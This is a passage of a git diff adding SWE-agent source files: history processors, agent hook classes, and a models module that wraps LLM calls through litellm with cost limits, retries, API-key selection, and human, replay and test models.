to 1. + If set to <= 0, any set cache control will be removed from all messages. + """ + + last_n_messages_offset: int = 0 + """E.g., set to 1 to start cache control after the second to last user message. + This can be useful in rare cases, when you want to modify the last message after + we've got the completion and you want to avoid cache mismatch. + """ + + tagged_roles: list[str] = ["user", "tool"] + """Only add cache control to messages with these roles.""" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + def __call__(self, history: History) -> History: + new_history = [] + n_tagged = 0 + for i_entry, entry in enumerate(reversed(history)): + # Clear cache control from previous messages + _clear_cache_control(entry) + if ( + n_tagged < self.last_n_messages + and entry["role"] in self.tagged_roles + and i_entry >= self.last_n_messages_offset + ): + _set_cache_control(entry) + n_tagged += 1 + new_history.append(entry) + return list(reversed(new_history)) + + +class RemoveRegex(BaseModel): + """This history processor can remove arbitrary content from history items""" + + remove: list[str] = [".*"] + """Regex patterns to remove from history items""" + + keep_last: int = 0 + """Keep the last n history items unchanged""" + + type: Literal["remove_regex"] = "remove_regex" + """Do not change. Used for (de)serialization.""" + + # pydantic config + model_config = ConfigDict(extra="forbid") + + def __call__(self, history: History) -> History: + new_history = [] + for i_entry, entry in enumerate(reversed(history)): + entry = copy.deepcopy(entry) + if i_entry < self.keep_last: + new_history.append(entry) + else: + if isinstance(entry["content"], list): + for item in entry["content"]: + if item["type"] == "text": + for pattern in self.remove: + item["text"] = re.sub(pattern, "", item["text"], flags=re.DOTALL) + else: + assert isinstance(entry["content"], str), "Expected string content" + for pattern in self.remove: + entry["content"] = re.sub(pattern, "", entry["content"], flags=re.DOTALL) + new_history.append(entry) + return list(reversed(new_history)) + + +class ImageParsingHistoryProcessor(BaseModel): + """Parse embedded base64 images from markdown and convert to multi-modal format.""" + + type: Literal["image_parsing"] = "image_parsing" + allowed_mime_types: set[str] = {"image/png", "image/jpeg", "image/webp"} + + _pattern = re.compile(r"(!\[([^\]]*)\]\(data:)([^;]+);base64,([^)]+)(\))") + model_config = ConfigDict(extra="forbid") + + def __call__(self, history: History) -> History: + return [self._process_entry(entry) for entry in history] + + def _process_entry(self, entry: HistoryItem) -> HistoryItem: + if entry.get("role") not in ["user", "tool"]: + return entry + entry = copy.deepcopy(entry) + content = _get_content_text(entry) + segments = self._parse_images(content) + if any(seg["type"] == "image_url" for seg in segments): + entry["content"] = segments + return entry + + def _parse_images(self, content: str) -> list[dict]: + segments = [] + last_end = 0 + has_images = False + + def add_text(text: str) -> None: + """Add text to the last segment if it's text, otherwise create new text segment.""" + if text and segments and segments[-1]["type"] == "text": + segments[-1]["text"] += text + elif text: + segments.append({"type": "text", "text": text}) + + for match in self._pattern.finditer(content): + markdown_prefix, alt_text, mime_type, base64_data, markdown_suffix = match.groups() + add_text(content[last_end : match.start()]) + mime_type = "image/jpeg" if mime_type == "image/jpg" else mime_type + if mime_type in self.allowed_mime_types: + add_text(markdown_prefix) + segments.append({"type": "image_url", "image_url": {"url": f"data:{mime_type};base64,{base64_data}"}}) + add_text(markdown_suffix) + has_images = True + else: + add_text(match.group(0)) + last_end = match.end() + add_text(content[last_end:]) + return segments if has_images else [{"type": "text", "text": content}] + + +HistoryProcessor = Annotated[ + DefaultHistoryProcessor + | LastNObservations + | ClosedWindowHistoryProcessor + | TagToolCallObservations + | CacheControlHistoryProcessor + | RemoveRegex + | ImageParsingHistoryProcessor, + Field(discriminator="type"), +] diff --git a/sweagent/agent/hooks/__init__.py b/sweagent/agent/hooks/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/agent/hooks/abstract.py b/sweagent/agent/hooks/abstract.py new file mode 100644 index 0000000..3b04976 --- /dev/null +++ b/sweagent/agent/hooks/abstract.py @@ -0,0 +1,139 @@ +from typing import TYPE_CHECKING + +from sweagent.types import AgentInfo, StepOutput, Trajectory + +if TYPE_CHECKING: + # avoid circular import + from sweagent.agent.agents import DefaultAgent + + +class AbstractAgentHook: + def on_init(self, *, agent: "DefaultAgent"): + """Note: Depending on the internals of `Agent` should be done with care, + it's best to use this as little as possible. + """ + + def on_run_start( + self, + ): ... + + def on_step_start(self): ... + + def on_actions_generated(self, *, step: StepOutput): ... + + def on_action_started(self, *, step: StepOutput): ... + + def on_action_executed(self, *, step: StepOutput): ... + + def on_step_done(self, *, step: StepOutput, info: AgentInfo): ... + + def on_run_done(self, *, trajectory: Trajectory, info: AgentInfo): ... + + def on_setup_attempt(self): ... + + def on_model_query(self, *, messages: list[dict[str, str]], agent: str): + """Actually query the model with the complete history.""" + + def on_query_message_added( + self, + *, + agent: str, + role: str, + content: str, + message_type: str, + is_demo: bool = False, + thought: str = "", + action: str = "", + tool_calls: list[dict[str, str]] | None = None, + tool_call_ids: list[str] | None = None, + ): ... + + def on_setup_done(self): ... + + def on_tools_installation_started(self): ... + + +class CombinedAgentHook(AbstractAgentHook): + def __init__(self, hooks: list[AbstractAgentHook] | None = None): + self._hooks = hooks or [] + + def add_hook(self, hook: AbstractAgentHook): + self._hooks.append(hook) + + @property + def hooks(self) -> list[AbstractAgentHook]: + return self._hooks + + def on_init(self, *, agent: "DefaultAgent"): + for hook in self.hooks: + hook.on_init(agent=agent) + + def on_run_start(self): + for hook in self.hooks: + hook.on_run_start() + + def on_step_start(self): + for hook in self.hooks: + hook.on_step_start() + + def on_actions_generated(self, *, step: StepOutput): + for hook in self.hooks: + hook.on_actions_generated(step=step) + + def on_action_started(self, *, step: StepOutput): + for hook in self.hooks: + hook.on_action_started(step=step) + + def on_action_executed(self, *, step: StepOutput): + for hook in self.hooks: + hook.on_action_executed(step=step) + + def on_step_done(self, *, step: StepOutput, info: AgentInfo): + for hook in self.hooks: + hook.on_step_done(step=step, info=info) + + def on_run_done(self, *, trajectory: Trajectory, info: AgentInfo): + for hook in self.hooks: + hook.on_run_done(trajectory=trajectory, info=info) + + def on_setup_attempt(self): + for hook in self.hooks: + hook.on_setup_attempt() + + def on_model_query(self, *, messages: list[dict[str, str]], agent: str): + for hook in self.hooks: + hook.on_model_query(messages=messages, agent=agent) + + def on_query_message_added( + self, + *, + agent: str, + role: str, + content: str, + message_type: str, + is_demo: bool = False, + thought: str = "", + action: str = "", + tool_calls: list[dict[str, str]] | None = None, + tool_call_ids: list[str] | None = None, + thinking_blocks: list[dict[str, str]] | None = None, + ): + for hook in self.hooks: + hook.on_query_message_added( + agent=agent, + role=role, + content=content, + message_type=message_type, + is_demo=is_demo, + thought=thought, + action=action, + tool_calls=tool_calls, + tool_call_ids=tool_call_ids, + ) + + def on_setup_done(self): + return super().on_setup_done() + + def on_tools_installation_started(self): + for hook in self.hooks: + hook.on_tools_installation_started() diff --git a/sweagent/agent/hooks/status.py b/sweagent/agent/hooks/status.py new file mode 100644 index 0000000..515b621 --- /dev/null +++ b/sweagent/agent/hooks/status.py @@ -0,0 +1,34 @@ +from collections.abc import Callable + +from sweagent.agent.hooks.abstract import AbstractAgentHook +from sweagent.types import AgentInfo, StepOutput + + +class SetStatusAgentHook(AbstractAgentHook): + def __init__(self, id: str, callable: Callable[[str, str], None]): + self._callable = callable + self._id = id + self._i_step = 0 + self._cost = 0.0 + self._i_attempt = 0 + self._previous_cost = 0.0 + + def on_setup_attempt(self): + self._i_attempt += 1 + self._i_step = 0 + # Costs will be reset for the next attempt + self._previous_cost += self._cost + + def _update(self, message: str): + self._callable(self._id, message) + + def on_step_start(self): + self._i_step += 1 + attempt_str = f"Attempt {self._i_attempt} " if self._i_attempt > 1 else "" + self._update(f"{attempt_str}Step {self._i_step:>3} (${self._previous_cost + self._cost:.2f})") + + def on_step_done(self, *, step: StepOutput, info: AgentInfo): + self._cost = info["model_stats"]["instance_cost"] # type: ignore + + def on_tools_installation_started(self): + self._update("Installing tools") diff --git a/sweagent/agent/models.py b/sweagent/agent/models.py new file mode 100644 index 0000000..496b226 --- /dev/null +++ b/sweagent/agent/models.py @@ -0,0 +1,903 @@ +from __future__ import annotations + +import copy +import json +import os +import random +import shlex +import threading +import time +from abc import ABC, abstractmethod +from pathlib import Path +from threading import Lock +from typing import Annotated, Any, Literal + +import litellm +import litellm.types.utils +from pydantic import BaseModel as PydanticBaseModel +from pydantic import ConfigDict, Field, SecretStr +from swerex.exceptions import SwerexException +from tenacity import ( + RetryCallState, + Retrying, + retry_if_not_exception_type, + stop_after_attempt, + wait_random_exponential, +) + +from sweagent import REPO_ROOT, __version__ +from sweagent.exceptions import ( + ContentPolicyViolationError, + ContextWindowExceededError, + CostLimitExceededError, + FunctionCallingFormatError, + InstanceCallLimitExceededError, + InstanceCostLimitExceededError, + ModelConfigurationError, + TotalCostLimitExceededError, +) +from sweagent.tools.tools import ToolConfig +from sweagent.types import History, HistoryItem +from sweagent.utils.log import get_logger + +try: + import readline # noqa: F401 +except ImportError: + readline = None + +litellm.suppress_debug_info = True + + +_THREADS_THAT_USED_API_KEYS = [] +"""Keeps track of thread orders so that we can choose the same API key for the same thread.""" + + +class RetryConfig(PydanticBaseModel): + """This configuration object specifies how many times to retry a failed LM API call.""" + + retries: int = 20 + """Number of retries""" + min_wait: float = 10 + """Minimum wait time between retries (random exponential wait)""" + max_wait: float = 120 + """Maximum wait time between retries (random exponential wait)""" + + +class GenericAPIModelConfig(PydanticBaseModel): + """This configuration object specifies a LM like GPT4 or similar. + The model will be served with the help of the `litellm` library. + """ + + name: str = Field(description="Name of the model.") + + per_instance_cost_limit: float = Field( + default=3.0, + description="Cost limit for every instance (task).", + ) + total_cost_limit: float = Field(default=0.0, description="Total cost limit.") + per_instance_call_limit: int = Field(default=0, description="Per instance call limit.") + temperature: float = 0.0 + """Sampling temperature""" + top_p: float | None = 1.0 + """Sampling top-p""" + api_base: str | None = None + api_version: str | None = None + api_key: SecretStr | None = None + """API key to the model. We recommend using environment variables to set this instead + or putting your environment variables in a `.env` file. + You can concatenate more than one key by separating them with `:::`, e.g., + `key1:::key2`. + If field starts with `$`, it will be interpreted as an environment variable. + """ + stop: list[str] = [] + """Custom stop sequences""" + + completion_kwargs: dict[str, Any] = {} + """Additional kwargs to pass to `litellm.completion`""" + + convert_system_to_user: bool = False + """Whether to convert system messages to user messages. This is useful for + models that do not support system messages like o1. + """ + + retry: RetryConfig = RetryConfig() + """Retry configuration: How often to retry after a failure (e.g., from a rate limit) + etc. + """ + + delay: float = 0.0 + """Minimum delay before querying (this can help to avoid overusing the API if sharing + it with other people). + """ + + fallbacks: list[dict[str, Any]] = [] + """List of fallbacks to try if the main model fails + See https://docs.litellm.ai/docs/completion/reliable_completions#fallbacks-sdk + for more information. + """ + + choose_api_key_by_thread: bool = True + """Whether to choose the API key based on the thread name (if multiple are configured). + This ensures that with + run-batch, we use the same API key within a single-thread so that prompt caching still works. + """ + + max_input_tokens: int | None = None + """If set, this will override the max input tokens for the model that we usually look + up from `litellm.model_cost`. + Use this for local models or if you want to set a custom max input token limit. + If this value is exceeded, a `ContextWindowExceededError` will be raised. + Set this to 0 to disable this check. + """ + + max_output_tokens: int | None = None + """If set, this will override the max output tokens for the model that we usually look + up from `litellm.model_cost`. + Use this for local models or if you want to set a custom max output token limit. + If this value is exceeded, a `ContextWindowExceededError` will be raised. + Set this to 0 to disable this check. + """ + + litellm_model_registry: str | None = None + """If set, this will override the default model registry for litellm. + Use this for local models or models not (yet) in the default litellm model registry for tracking costs. + """ + + custom_tokenizer: dict[str, Any] | None = None + """Override the default tokenizer for the model. + Use the arguments of `litellm.create_pretrained_tokenizer`. + Basic example: `{"identifier": "hf-internal-testing/llama-tokenizer"}` + """ + + # pydantic + model_config = ConfigDict(extra="forbid") + + def get_api_keys(self) -> list[str]: + """Returns a list of API keys that were explicitly set in this config. + Does not return API keys that were set via environment variables/.env + """ + if self.api_key is None: + return [] + api_key = self.api_key.get_secret_value() + if not api_key: + return [] + if api_key.startswith("$"): + env_var_name = api_key[1:] + api_key = os.getenv(env_var_name, "") + if not api_key: + get_logger("swea-config", emoji="🔧").warning(f"Environment variable {env_var_name} not set") + return [] + return api_key.split(":::") + + def choose_api_key(self) -> str | None: + """Chooses an API key based on the API keys explicitly set in this config. + If no API keys are set, returns None (which means that the API key will be + taken from the environment variables/.env file). + """ + api_keys = self.get_api_keys() + if not api_keys: + return None + if not self.choose_api_key_by_thread: + return random.choice(api_keys) + thread_name = threading.current_thread().name + if thread_name not in _THREADS_THAT_USED_API_KEYS: + _THREADS_THAT_USED_API_KEYS.append(thread_name) + thread_idx = _THREADS_THAT_USED_API_KEYS.index(thread_name) + key_idx = thread_idx % len(api_keys) + get_logger("config", emoji="🔧").debug( + f"Choosing API key {key_idx} for thread {thread_name} (idx {thread_idx})" + ) + return api_keys[key_idx] + + @property + def id(self) -> str: + name = self.name.replace("/", "--") + if self.top_p is not None: + top_p = f"{self.top_p:.2f}" + else: + top_p = "None" + temperature = f"{self.temperature:.2f}" + per_instance_cost_limit = f"{self.per_instance_cost_limit:.2f}" + return f"{name}__t-{temperature}__p-{top_p}__c-{per_instance_cost_limit}" + + +class ReplayModelConfig(GenericAPIModelConfig): + replay_path: Path = Field(description="Path to replay file when using the replay model.") + + per_instance_cost_limit: float = Field( + default=0.0, description="Cost limit for every instance (task). This is a dummy value here." + ) + total_cost_limit: float = Field( + default=0.0, description="Cost limit for all instances (tasks). This is a dummy value here." + ) + + name: Literal["replay"] = Field(default="replay", description="Model name.") + + model_config = ConfigDict(extra="forbid") + + +class InstantEmptySubmitModelConfig(GenericAPIModelConfig): + """Model that immediately submits an empty patch""" + + name: Literal["instant_empty_submit"] = Field(default="instant_empty_submit", description="Model name.") + + per_instance_cost_limit: float = Field( + default=0.0, description="Cost limit for every instance (task). This is a dummy value here." + ) + total_cost_limit: float = Field( + default=0.0, description="Cost limit for all instances (tasks). This is a dummy value here." + ) + delay: float = 0.0 + """Delay before answering""" + + model_config = ConfigDict(extra="forbid") + + +class HumanModelConfig(GenericAPIModelConfig): + name: Literal["human"] = Field(default="human", description="Model name.") + + per_instance_cost_limit: float = Field( + default=0.0, description="Cost limit for every instance (task). This is a dummy value here." + ) + total_cost_limit: float = Field(default=0.0, description="Cost limit for all instances (tasks).") + cost_per_call: float = 0.0 + catch_eof: bool = True + """Whether to catch EOF and return 'exit' when ^D is pressed. Set to False when used in human_step_in mode.""" + model_config = ConfigDict(extra="forbid") + + +class HumanThoughtModelConfig(HumanModelConfig): + name: Literal["human_thought"] = Field(default="human_thought", description="Model name.") + + per_instance_cost_limit: float = Field( + default=0.0, description="Cost limit for every instance (task). This is a dummy value here." + ) + total_cost_limit: float = Field( + default=0.0, description="Cost limit for all instances (tasks). This is a dummy value here." + ) + cost_per_call: float = 0.0 + + model_config = ConfigDict(extra="forbid") + + +ModelConfig = Annotated[ + GenericAPIModelConfig + | ReplayModelConfig + | InstantEmptySubmitModelConfig + | HumanModelConfig + | HumanThoughtModelConfig, + Field(union_mode="left_to_right"), +] + + +class GlobalStats(PydanticBaseModel): + """This class tracks usage numbers (costs etc.) across all instances.""" + + total_cost: float = 0 + """Cumulative cost for all instances so far""" + + last_query_timestamp: float = 0 + """Timestamp of the last query. Currently only used with API models.""" + + +GLOBAL_STATS = GlobalStats() +"""This object tracks usage numbers (costs etc.) across all instances. +Please use the `GLOBAL_STATS_LOCK` lock when accessing this object to avoid race conditions. +""" + +GLOBAL_STATS_LOCK = Lock() +"""Lock for accessing `GLOBAL_STATS` without race conditions""" + + +class InstanceStats(PydanticBaseModel): + """This object tracks usage numbers (costs etc.) for a single instance.""" + + instance_cost: float = 0 + tokens_sent: int = 0 + tokens_received: int = 0 + api_calls: int = 0 + + def __add__(self, other: InstanceStats) -> InstanceStats: + return InstanceStats( + **{field: getattr(self, field) + getattr(other, field) for field in self.model_fields.keys()}, + ) + + def __sub__(self, other: InstanceStats) -> InstanceStats: + return InstanceStats( + **{field: getattr(self, field) - getattr(other, field) for field in self.model_fields.keys()}, + ) + + +class AbstractModel(ABC): + def __init__(self, config: ModelConfig, tools: ToolConfig): + self.config: ModelConfig + self.stats: InstanceStats + + def reset_stats(self): + self.stats = InstanceStats() + + @abstractmethod + def query(self, history: History, action_prompt: str = "> ") -> dict: ... + + @property + def instance_cost_limit(self) -> float: + """Cost limit for the model. Returns 0 if there is no limit.""" + return 0 + + +def _handle_raise_commands(action: str) -> None: + if action == "raise_runtime": + raise SwerexException() + elif action == "raise_cost": + raise CostLimitExceededError() + elif action == "raise_context": + raise ContextWindowExceededError() + elif action.startswith("raise_function_calling"): + parts = shlex.split(action) + error_code = parts[1] + if len(parts) == 3: + error_message = parts[2] + assert len(parts) < 4 + raise FunctionCallingFormatError(error_message, error_code) # type: ignore + + +class HumanModel(AbstractModel): + def __init__(self, config: HumanModelConfig, tools: ToolConfig): + """Model that allows for human-in-the-loop""" + self.logger = get_logger("swea-lm", emoji="🤖") + self.config: HumanModelConfig = config + self.stats = InstanceStats() + + # Determine which commands require multi-line input + self.multi_line_command_endings = { + command.name: command.end_name for command in tools.commands if command.end_name is not None + } + self._readline_histfile = REPO_ROOT / ".swe-agent-human-history" + self._load_readline_history() + + def _load_readline_history(self) -> None: + """Load autocomplete history from file""" + if readline is None: + return + if self._readline_histfile.is_file(): + self.logger.debug(f"Loading readline history from {self._readline_histfile}") + readline.read_history_file(self._readline_histfile) + + def _save_readline_history(self) -> None: + """Save autocomplete history to file""" + if readline is None: + return + readline.write_history_file(self._readline_histfile) + + def _update_stats( + self, + ) -> None: + self.stats.instance_cost += self.config.cost_per_call + self.stats.api_calls += 1 + if 0 < self.config.per_instance_cost_limit < self.stats.instance_cost: + msg = f"Instance cost limit exceeded: {self.stats.instance_cost} > {self.config.per_instance_cost_limit}" + raise InstanceCostLimitExceededError(msg) + if 0 < self.config.total_cost_limit < self.stats.instance_cost: + msg = f"Total cost limit exceeded: {self.stats.instance_cost} > {self.config.total_cost_limit}" + raise TotalCostLimitExceededError(msg) + + def _query( + self, + history: History, + action_prompt: str = "> ", + ) -> dict: + """Logic for handling user input to pass to SWEEnv""" + action = input(action_prompt) + self._save_readline_history() + command_name = action.split()[0] if action.strip() else "" + + # Special handling for multi-line input actions (i.e. edit) + if command_name in self.multi_line_command_endings: + buffer = [action] + end_keyword = self.multi_line_command_endings[command_name] + while True: + action = input("... ") + buffer.append(action) + if action.rstrip() == end_keyword: + # Continue reading input until terminating keyword inputted + break + action = "\n".join(buffer) + elif action.strip() == "start_multiline_command": # do arbitrary multi-line input + buffer = [] + while True: + action = input("... ") + if action.rstrip() == "end_multiline_command": + break + buffer.append(action) + action = "\n".join(buffer) + else: + # Input has escaped things like \n, so we need to unescape it + action = action.encode("utf8").decode("unicode_escape") + if action.strip() and action.strip().split()[0] == "spend_money": + money = float(action.strip().split()[1]) + self.stats.instance_cost += money + action = f"echo 'Spent {money} dollars'" + _handle_raise_commands(action) + self._update_stats() + return {"message": action} + + def query(self, history: History, action_prompt: str = "> ", n: int | None = None, **kwargs) -> dict | list[dict]: + """Wrapper to separate action prompt from formatting""" + out = [] + n_samples = n or 1 + for _ in range(n_samples): + try: + out.append(self._query(history, action_prompt)) + except KeyboardInterrupt: + print("^C (exit with ^D)") + out.append(self.query(history, action_prompt)) + except EOFError: + if self.config.catch_eof: + print("\nGoodbye!") + out.append({"message": "exit"}) + else: + # Re-raise EOFError when catch_eof is disabled + raise + if n is None: + return out[0] + return out + + +class HumanThoughtModel(HumanModel): + def query(self, history: History, **kwargs) -> dict: + """Logic for handling user input (both thought + action) to pass to SWEEnv""" + thought_all = "" + thought = input("Thought (end w/ END_THOUGHT): ") + while True: + if "END_THOUGHT" in thought: + thought = thought.split("END_THOUGHT")[0] + thought_all += thought + break + thought_all += thought + thought = input("... ") + + action = super()._query(history, action_prompt="Action: ")["message"] + + return {"message": f"{thought_all}\n```\n{action}\n```"} + + +class ReplayModel(AbstractModel): + def __init__(self, config: ReplayModelConfig, tools: ToolConfig): + """Model used for replaying a trajectory (i.e., taking all the actions for the `.traj` file + and re-issuing them. + """ + self.config = config + self.stats = InstanceStats() + + if not self.config.replay_path.exists(): + msg = f"Replay file {self.config.replay_path} not found" + raise FileNotFoundError(msg) + + self._replays = [ + list(json.loads(x).values())[0] for x in Path(self.config.replay_path).read_text().splitlines(keepends=True) + ] + self._replay_idx = 0 + self._action_idx = 0 + self.use_function_calling = tools.use_function_calling + self.submit_command = tools.submit_command + self.logger = get_logger("swea-lm", emoji="🤖") + + def _next_replay(self) -> None: + """Called after last action""" + self._replay_idx += 1 + self._action_idx = 0 + + def query(self, history: History) -> dict: + """Logic for tracking which replay action to pass to SWEEnv""" + self.stats.api_calls += 1 + actions = self._replays[self._replay_idx] + try: + action = actions[self._action_idx] + except IndexError: + # log error + self.logger.error("Reached end of replay trajectory without submitting. Submitting now.") + if self.use_function_calling: + action = { + "message": f"Calling `{self.submit_command}` to submit.", + "tool_calls": [ + { + "type": "function", + "id": "call_submit", + "function": { + "name": self.submit_command, + "arguments": "{}", + }, + } + ], + } + else: + action = f"```\n{self.submit_command}\n```" + + self._action_idx += 1 + + # Assuming `submit` is always last action of replay trajectory + if isinstance(action, str) and action == "submit": + self._next_replay() + return {"message": action} + + # Handle both dict and string actions + if isinstance(action, dict): + return action + return {"message": action} + + +class PredeterminedTestModel(AbstractModel): + def __init__(self, outputs: list[dict | str]): + """Model that outputs a predetermined sequence of messages. Useful for testing.""" + self._outputs = outputs + self._idx = -1 + self.stats = InstanceStats() + + def query(self, *args, **kwargs) -> dict: + self._idx += 1 + output = self._outputs[self._idx] + if isinstance(output, str): + _handle_raise_commands(output) + return {"message": output} + if not isinstance(output, dict): + msg = f"Output must be string or dict, got {type(output)}" + raise ValueError(msg) + result = {"message": output["message"]} + if "tool_calls" in output: + result["tool_calls"] = output["tool_calls"] + return result + + +class InstantEmptySubmitTestModel(AbstractModel): + def __init__(self, args: InstantEmptySubmitModelConfig, tools: ToolConfig): + """This model immediately submits. Useful for testing purposes""" + super().__init__(args, tools) + self.config: InstantEmptySubmitModelConfig = args + self.stats = InstanceStats() + self._action_idx = 0 + + def query(self, history: list[dict[str, str]]) -> dict: + time.sleep(random.uniform(0, self.config.delay)) + # Need to at least do _something_ to submit + if self._action_idx == 0: + self._action_idx = 1 + action = ( + "DISCUSSION\n" + "Let's reproduce the bug by creating a `reproduce.py` file.\n\n" + "```\n" + "touch reproduce.py\n" + "```\n" + ) + elif self._action_idx == 1: + self._action_idx = 0 + action = "DISCUSSION\nThe task should be resolved, so let's submit the patch.\n\n```\nsubmit\n```\n" + self.stats.api_calls += 1 + return {"message": action} + + +class LiteLLMModel(AbstractModel): + def __init__(self, args: GenericAPIModelConfig, tools: ToolConfig): + """Model served by the `litellm` library.""" + # Always copy config to avoid shared state between different instances + self.config: GenericAPIModelConfig = args.model_copy(deep=True) + self.stats = InstanceStats() + self.tools = tools + self.logger = get_logger("swea-lm", emoji="🤖") + + if tools.use_function_calling: + if not litellm.utils.supports_function_calling(model=self.config.name): + msg = ( + f"Model {self.config.name} does not support function calling. If your model" + " does not support function calling, you can use `parse_function='thought_action'` instead. " + "See https://swe-agent.com/latest/faq/ for more information." + ) + self.logger.warning(msg) + if self.config.litellm_model_registry is not None: + with open(self.config.litellm_model_registry) as f: + model_costs = json.load(f) + litellm.register_model(model_costs) + if self.config.max_input_tokens is not None: + self.model_max_input_tokens = self.config.max_input_tokens + else: + self.model_max_input_tokens = litellm.model_cost.get(self.config.name, {}).get("max_input_tokens") + + if self.config.max_output_tokens is not None: + self.model_max_output_tokens = self.config.max_output_tokens + else: + self.model_max_output_tokens = litellm.model_cost.get(self.config.name, {}).get("max_output_tokens") + # Special handling for Claude 3.7 models to set 64k context by default when beta header not present + # See https://github.com/SWE-agent/SWE-agent/pull/1016 + is_claude_3_7 = "claude-3-7-sonnet" in self.config.name or "claude-sonnet-4" in self.config.name + has_128k_beta_header = ( + self.config.completion_kwargs.get("extra_headers", {}).get("anthropic-beta") == "output-128k-2025-02-19" + ) + if is_claude_3_7 and not has_128k_beta_header: + self.model_max_output_tokens = 64000 + self.logger.warning( + "Claude 3.7/4 models do not support 128k context by default. " + "Setting max output tokens to 64k. To enable 128k context, please set the " + "completion_kwargs to {'extra_headers': {'anthropic-beta': 'output-128k-2025-02-19'}}." + ) + + self.lm_provider = litellm.model_cost.get(self.config.name, {}).get("litellm_provider", self.config.name) + self.custom_tokenizer = None + if self.config.custom_tokenizer is not None: + self.custom_tokenizer = litellm.utils.create_pretrained_tokenizer(**self.config.custom_tokenizer) + + @property + def instance_cost_limit(self) -> float: + """Cost limit for the model. Returns 0 if there is no limit.""" + return self.config.per_instance_cost_limit + + def _update_stats(self, *, input_tokens: int, output_tokens: int, cost: float) -> None: + with GLOBAL_STATS_LOCK: + GLOBAL_STATS.total_cost += cost + self.stats.instance_cost += cost + self.stats.tokens_sent += input_tokens + self.stats.tokens_received += output_tokens + self.stats.api_calls += 1 + + # Log updated cost values to std. err + self.logger.debug( + f"input_tokens={input_tokens:,}, " + f"output_tokens={output_tokens:,}, " + f"instance_cost={self.stats.instance_cost:.2f}, " + f"cost={cost:.2f}", + ) + self.logger.debug( + f"total_tokens_sent={self.stats.tokens_sent:,}, " + f"total_tokens_received={self.stats.tokens_received:,}, " + f"total_cost={GLOBAL_STATS.total_cost:.2f}, " + f"total_api_calls={self.stats.api_calls:,}", + ) + + # Check whether total cost or instance cost limits have been exceeded + if 0 < self.config.total_cost_limit < GLOBAL_STATS.total_cost: + self.logger.warning(f"Cost {GLOBAL_STATS.total_cost:.2f} exceeds limit {self.config.total_cost_limit:.2f}") + msg = "Total cost limit exceeded" + raise TotalCostLimitExceededError(msg) + + if 0 < self.config.per_instance_cost_limit < self.stats.instance_cost: + self.logger.warning( + f"Cost {self.stats.instance_cost:.2f} exceeds limit {self.config.per_instance_cost_limit:.2f}" + ) + msg = "Instance cost limit exceeded" + raise InstanceCostLimitExceededError(msg) + + if 0 < self.config.per_instance_call_limit < self.stats.api_calls: + self.logger.warning(f"API calls {self.stats.api_calls} exceeds limit {self.config.per_instance_call_limit}") + msg = "Per instance call limit exceeded" + raise InstanceCallLimitExceededError(msg) + + def _sleep(self) -> None: + elapsed_time = time.time() - GLOBAL_STATS.last_query_timestamp + if elapsed_time < self.config.delay: + time.sleep(self.config.delay - elapsed_time) + with GLOBAL_STATS_LOCK: + GLOBAL_STATS.last_query_timestamp = time.time() + + def _single_query( + self, messages: list[dict[str, str]], n: int | None = None, temperature: float | None = None + ) -> list[dict]: + self._sleep() + # Workaround for litellm bug https://github.com/SWE-agent/SWE-agent/issues/1109 + messages_no_cache_control = copy.deepcopy(messages) + for message in messages_no_cache_control: + if "cache_control" in message: + del message["cache_control"] + if "thinking_blocks" in message: + del message["thinking_blocks"] + input_tokens: int = litellm.utils.token_counter( + messages=messages_no_cache_control, + model=self.custom_tokenizer["identifier"] if self.custom_tokenizer is not None else self.config.name, + custom_tokenizer=self.custom_tokenizer, + ) + if self.model_max_input_tokens is None: + msg = ( + f"No max input tokens found for model {self.config.name!r}. " + "If you are using a local model, you can set `max_input_token` in the model config to override this." + ) + self.logger.warning(msg) + elif input_tokens > self.model_max_input_tokens > 0: + msg = f"Input tokens {input_tokens} exceed max tokens {self.model_max_input_tokens}" + raise ContextWindowExceededError(msg) + extra_args = {} + if self.config.api_base: + # Not assigned a default value in litellm, so only pass this if it's set + extra_args["api_base"] = self.config.api_base + if self.tools.use_function_calling: + extra_args["tools"] = self.tools.tools + # We need to always set max_tokens for anthropic models + completion_kwargs = copy.deepcopy(self.config.completion_kwargs) + if self.lm_provider == "anthropic": + completion_kwargs["max_tokens"] = self.model_max_output_tokens + + # Add User-Agent header (don't override user-provided headers) + if "extra_headers" not in completion_kwargs: + completion_kwargs["extra_headers"] = {} + if "User-Agent" not in completion_kwargs["extra_headers"]: + completion_kwargs["extra_headers"]["User-Agent"] = f"swe-agent/{__version__}" + + try: + response: litellm.types.utils.ModelResponse = litellm.completion( # type: ignore + model=self.config.name, + messages=messages, + temperature=self.config.temperature if temperature is None else temperature, + top_p=self.config.top_p, + api_version=self.config.api_version, + api_key=self.config.choose_api_key(), + fallbacks=self.config.fallbacks, + **completion_kwargs, + **extra_args, + n=n, + ) + except litellm.exceptions.ContextWindowExceededError as e: + raise ContextWindowExceededError from e + except litellm.exceptions.ContentPolicyViolationError as e: + raise ContentPolicyViolationError from e + except litellm.exceptions.BadRequestError as e: + if "is longer than the model's context length" in str(e): + raise ContextWindowExceededError from e + raise + self.logger.debug(f"Response: {response}") + try: + cost = litellm.cost_calculator.completion_cost(response, model=self.config.name) + except Exception as e: + self.logger.debug(f"Error calculating cost: {e}, setting cost to 0.") + if self.config.per_instance_cost_limit > 0 or self.config.total_cost_limit > 0: + msg = ( + f"Error calculating cost: {e} for your model {self.config.name}. If this is ok " + "(local models, etc.), please make sure you set `per_instance_cost_limit` and " + "`total_cost_limit` to 0 to disable this safety check." + ) + self.logger.error(msg) + raise ModelConfigurationError(msg) + cost = 0 + choices: litellm.types.utils.Choices = response.choices # type: ignore + n_choices = n if n is not None else 1 + outputs = [] + output_tokens = 0 + for i in range(n_choices): + output = choices[i].message.content or "" + output_tokens += litellm.utils.token_counter( + text=output, + model=self.custom_tokenizer["identifier"] if self.custom_tokenizer is not None else self.config.name, + custom_tokenizer=self.custom_tokenizer, + ) + output_dict = {"message": output} + if self.tools.use_function_calling: + if response.choices[i].message.tool_calls: # type: ignore + tool_calls = [call.to_dict() for call in response.choices[i].message.tool_calls] # type: ignore + else: + tool_calls = [] + output_dict["tool_calls"] = tool_calls + if ( + hasattr(response.choices[i].message, "thinking_blocks") # type: ignore + and response.choices[i].message.thinking_blocks # type: ignore + ): + output_dict["thinking_blocks"] = response.choices[i].message.thinking_blocks # type: ignore + outputs.append(output_dict) + self._update_stats(input_tokens=input_tokens, output_tokens=output_tokens, cost=cost) + return outputs + + def _query( + self, messages: list[dict[str, str]], n: int | None = None, temperature: float | None = None + ) 